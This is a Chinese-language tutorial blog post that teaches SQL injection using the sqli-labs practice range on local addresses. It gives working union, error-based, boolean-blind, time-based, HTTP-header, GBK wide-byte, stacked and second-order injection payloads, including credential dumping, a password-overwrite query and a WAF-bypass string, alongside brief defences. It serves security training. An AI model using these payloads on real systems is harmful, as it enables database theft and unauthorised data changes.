sql注入全网最详解

431 阅读20分钟

一. 前言

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

戳此获取网络安全资源

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。``

二. sql注入漏洞

漏洞原因

由于前端传入后端查询的参数是可控的,通过在可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

我们可以举一个例子,以sqli-labs第一关为例,我们先修改源代码,将执行的sql语句打印出来,方便我们查看。我们在源码中添加如下语句

echo '执行的sql语句为:'.$sql;
echo '<br/>';
echo '<br/>';

image.png

访问页面如下,打印出了执行的sql语句

1.png 1.注入判断

在1后面加上单引号, ?id=1',页面显示有语法错误,说靠近 '1'' limit 0,1有语法错误,然后执行的sql语句变成了

$sql="SELECT * FROM users WHERE id='  1 ' ' LIMIT 0,1";`

2.png

我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而sql语法中引号是必须成对出现的否则就会报错。

既然输入的单引号成了多余也就证明程序没有对我们的输入进行过滤,那我们就构造语句将单引号进行闭合就好了,我们在1后面加上单引号,与前面的引号构成闭合 再接着在后面插入我们自己想要查询的语句,于是就产生了sql注入。

注入可能存在的位置

根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语句,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:

  • @ GET 数据,如url中存在?id=1的这种
  • @ POST 数据,对浏览器发送了一个post的数据,携带的数据中存在变量值,如搜索框中的post数据
  • @ HTTP 头部(HTTP 请求报文其他字段,如cookie,user-agent)
  • 漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

sql注入防范

  • 过滤用户输入的不安全字符如'," 等
  • 采用预编译语句 Prepared Statement

三. 如何挖掘sql注入漏洞

注入可能存在的地方

既然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1

戳此获取网络安全资源

如我们看见这种就可以考虑

image.png

或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方

image.png

此需要我们用burp截取查询的数据包,找到传参的变量然后进行测试

3.png

注入点判断

知道了哪些地方容易存在sql注入,然后我们就需要找到注入点,发现它是否存在注入漏洞。其实在真实的渗透测试项目中,最主要的就是如何找到注入点,找到了一般就可以交给sqlmap了。当然sqlmap也不可能所有的注入都能跑出来,这种以后再说

我们可以在参数后面加单引号或者双引号,看是否会引发报错

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1'
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1"

如果会引发报错,说明服务端对传入的参数没有做好过滤存在注入。此时注入点找到了,然后接下来最重要的是找到正确的闭合方法,只有找到了正确的闭合方法,我们才可以闭合sql语句一开始的引号然后再后面加上我们自己构造的语句。一般sql语句对传入的参数都会加引号的。如下面的sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

如何探测出后端sql语句对存入的参数的正确的闭合方法了,我们可以在后面继续加上and或者or

由于SQL语句中逻辑运算符具有优先级:=的优先级>and,and的优先级>or,因为id=1为真,1=1也为真,然后 真and真,所以这条语句为真,正常查询。1=2这条语句为假,所以真and假那肯定就为假了,所以这条语句什么都查询不出来。根据这个我们找到了后台sql语句对变量的包裹方式,那就是?id='$id',用的单引号包裹

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and 1=1 --+    正常显示
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and 1=2 --+    不正常显示

如果错误不回显,也没有布尔状态,那么我们可以考虑延时注入

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and sleep(5) --+

--是注释的意思,+是代表空格的意思。不一定要用注释符

  • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1 也可以,只要能构造闭合就行
  • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1
  • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1' and ' 这肯定就不行了,因为' '为假,and ''就为假了,这里and要换成or就行
  • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1' or '
    如果是在burp中进行探测的话

get型

  1. 进行url编码

我们需要先进行url编码,此时的--+中的+就不能写+了要用回车代替

4.png

5.png 不进行编码的话,也可以用+代替空格,#代替--+ 。 %23代表#,也是注释符

6.png

post型

如果是post型的话,我们可以用上面的方法进行编码或者+代替空格也可以不使用,直接像在浏览器中探测一样

7.png

四. 常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。如按照数据类型和注入手法进行分类。但是从数据类型分类来看,SQL 注入分为数字型和字符型

数据类型分类

  • 数字型:数字型注入就是说注入点的数据,即拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。

  • 字符型:字符型注入正好相反 注入手法分类

  • @ UNION query SQL injection(联合查询注入)

  • @ Error-based SQL injection(错型注入)

  • @ Boolean-based blind SQL injection(布尔型注入)

  • @ Time-based blind SQL injection(基于时间延迟注入)

  • @ Stacked queries SQL injection(可多语句查询注入)

为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习sql语法,不然理解不了sql语句

联合查询(union注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化 ,

我们以sqli-labs第一关为例来学习联合查询。如下,要求我们传入一个id值过去

传参?id=1

8.png

  1. 页面观察

当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

  1. 注入点判断

开始判断是否存在注入,输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

9.png 继续判断 

?id=1' and 1=1 --+   页面正常显示 

10.png

?id=1' and 1=2 --+  页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

image.png

3. 判断当前表的字段个数

?id=1 order by 3 --+

11.png ?id=1 order by 4 --+ ,此时显示未知的列,说明此时当前表中只有3列

image.png

  1. 判断显示位

上面我们判断出来了表中有3列,接下来判断我们的输入会在屏幕哪个地方进行回显

?id=-1' union select 1,2,3 --+

让union select前面的参数查不出来,所以id=-1'

如下,在name和password中回显了我们的输入,这时我们就随便选一个地方来放置接下来的测试语句。

12.png 5. 爆数据库名字

?id=-1' union select 1,database(),3 --+

13.png 6. 爆数据库中的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

其中爆出来数据库中存在三个表

14.png 7. 爆表中的字段

我们这里选择一个表,users进行进一步的获取表中的字段值

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+`

获取到三个字段,分别为id,username,password

15.png 8. 爆相应字段的所有数据

?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

17.png 至此,一次完整的脱库过程结束了,联合查询也就结束了。

报错注入

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。

报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

推荐三种报错注入的方法,直接套用就行。以less-1为例子

1. group by 重复键冲

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

提交如下,获取数据库名字

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

18.png 2. extractvalue() 函数

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+

提交 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+ 获取数据库名字

19.png 3. updatexml() 函数

and updatexml(1,concat('^',(需要查询的内容),'^'),1)

  1. 提交如下,获取数据库名字

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

19.png 2. 获取当前数据库中表的名字

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

image.png 这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema='security' 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)

21.png 如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则limit2,1。以这个方法获取第四个表为users

  1. 爆表中的字段

?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

image.png 总共爆出的字段为: id , username , password

  1. 爆字段中的内容

?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

三组用户名和密码

22.png

布尔盲注

       布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

  1. 我们输入正确的id,显示You are in .....

image.png 我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态

23.png 源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
    echo '<font size="5" color="#FFFF00">';
    }

所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

24.png

  1. 判断数据库类型
  • MySQL数据库表 information_schema.tables
  • access msysobjects
  • SQLServer sysobjects 用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

image.png

image.png 所以当前数据库为mysql数据库

  1. 判断当前数据库名
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
  1. 判断当前库的表名
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
 
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
  1. 判断表的字段
  • 判断字段个数
  • 判断每个字段的长度
  • 猜每个字段的字符
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) 
  
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
由此可判断出users表中存在 id、username、password 字段
  1. 爆字段中的数据
  • 猜字段中数据的长度
  • 猜字段数据的每个字符ascii码 得字符
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

延时注入

通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入

25.png

  1. 延时注入
?id=1' and sleep(5) --+    

如图所示,观察请求的时间线,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据。

26.png 2. 获取数据库名字

延时注入与布尔盲注类似,构造方法如下,提交参数

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3)       如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值 代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s

image.png 3. 数据库名字第二个字母的判断,

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

与盲注类似,后面就是猜数,这就是延时注入

可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

image.png

HTTP头注入

常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方

27.png 产生注入的条件:

  • 能够对请求头消息进行修改

  • 修改的请求头信息能够带入数据库进行查询

  • 数据库没有对输入的请求信息做过滤

1. User-Agent注入

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

以sqli-labs less-18关为例,登录用户密码:dumb ,0

1.1 判断注入点:user-agent值后面加上',引发报错,确定存在sql注入

image.png 1.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

image.png 2. cookie注入

cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。以sqli-labs less-20关为例,登录后

28.png 2.1 首先判断注入点,加 ' 单引号报错

29.png 2.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

3. Referer注入

Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

以19关为例

  1. 判断输入点,加单引号引发报错

  2. 使用报错注入函数:

and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

30.png 方法都是一样的

宽字节注入

宽字节案例引入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。 使用?id=1' 进行测试的时候,发现提交的单引号会被转义[']。此时,转义后的单引号会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构

33.png 接着我们查看这关的源码,发现传入的id经过addslashes转移函数的处理,所有的单引号双引号字符都会被添加转义字符。接着在带入到数据库查询前设置了mysql_query("SET NAMES gbk"),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入

34.png 仔细看该函数,其利用正则匹配将 [ /,'," ]这些三个符号都过滤掉了

35.png 而我们要绕过这个转义处理,使单引号发挥作用不再被转义,有两个思路:

  1. 让斜杠(\)失去作用
  2. 让斜杠(\)消失

第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为普通的内容。第二个思路就是宽字节注入。

关于编码

  1. 某字符的大小为一个字节时,称其字符为窄字节.
  2. 当某字符的大小为两个字节时,称其字符为宽字节.
  3. 所有英文默认占一个字节,汉字占两个字节
  4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节注入

宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。

  • ' %27
  • \ %5c
  • %df' %df%5c' =》 運' 我们输入 ?id=1%df',按道理来说将转义符吃掉了,结果应该是 id=' 運' ' ,为什么这里转变成了中文后后面还有一个反斜杠了?那个反斜杠是哪里来的?

36.png 其实这个是浏览器显示编码的问题,我们将浏览器编码切换为GB2312即简体中文,如下就正常了

37.png 联合注入如下

38.png

GB2312与GBK的不同

gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把源码中set names修改成gb2312

image.png

结果就不能注入了,我开始不信,然后再把数据库编码也改成gb2312,也是不成功的。虽然执行的语句还是显示被转换成了中文了,但就是注入不成功

image.png 为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA10xF7,低位范围是0xA10xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。

所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

宽字节注入注入方法

  1. 黑盒

就是上面所述的,在注入点后面加%df,然后按照正常的注入流程开始注入即可。如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加%df然后再用sqlmap跑,否则是注入不出来的,如

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"
  1. 白盒

查看mysql是否为GBK编码,且是否使用preg_replace()把单引号转换成'或自带函数addslashes()进行转义

image.png

image.png

image.png 如果存在上面说的,则存在宽字节注入。

宽字节注入修复

  1. mysql_real_escape_string

听说这个函数能抵御宽字节注入攻击。mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。

‍于是,把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。但是我们发现还是一样注入成功了

image.png

39.png 为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入?

原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

mysqli_set_charset(connection,charset) ;

参数描述
connection必需。规定要使用的 MySQL 连接。
charset必需。规定默认字符集。

image.png 这样就防止了注入

39.png 即先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

  1. 设置参数,character_set_client=binary

  2. 使用utf-8编码

堆叠查询

堆叠查询也叫堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。以sqli-labs第38关为例

40.png 执行

id=1';update users set password='123456' where id=1; --+ 

意思就是再更新id=1的用户密码为123456。如下成功执行了更新密码的语句

42.png 堆叠查询的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

二阶注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与—次注入攻击漏洞相同的攻击威力。

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功 总结,二次注入就是我们先提交一串字符存储进数据库,然后在提交第二个请求,后面的请求与第一次存储进数据库中的字符串发生作用,构造成了一条特殊的sql语句。以sqli-labs第24关为例

sqli-labs less-24

  1. 如下点击注册用户

43.png 这里注册用户名为 admin'#

image.png 此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD

44.png 2. 对注册的账号进行登录然后修改密码为ccccc

45.png

此时提示密码已经成功修改了

46.png

漏洞原因

  1. 在进行用户注册的允许存在'和#这种特殊字符

  2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们登录账号admin'#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

戳此获取网络安全资源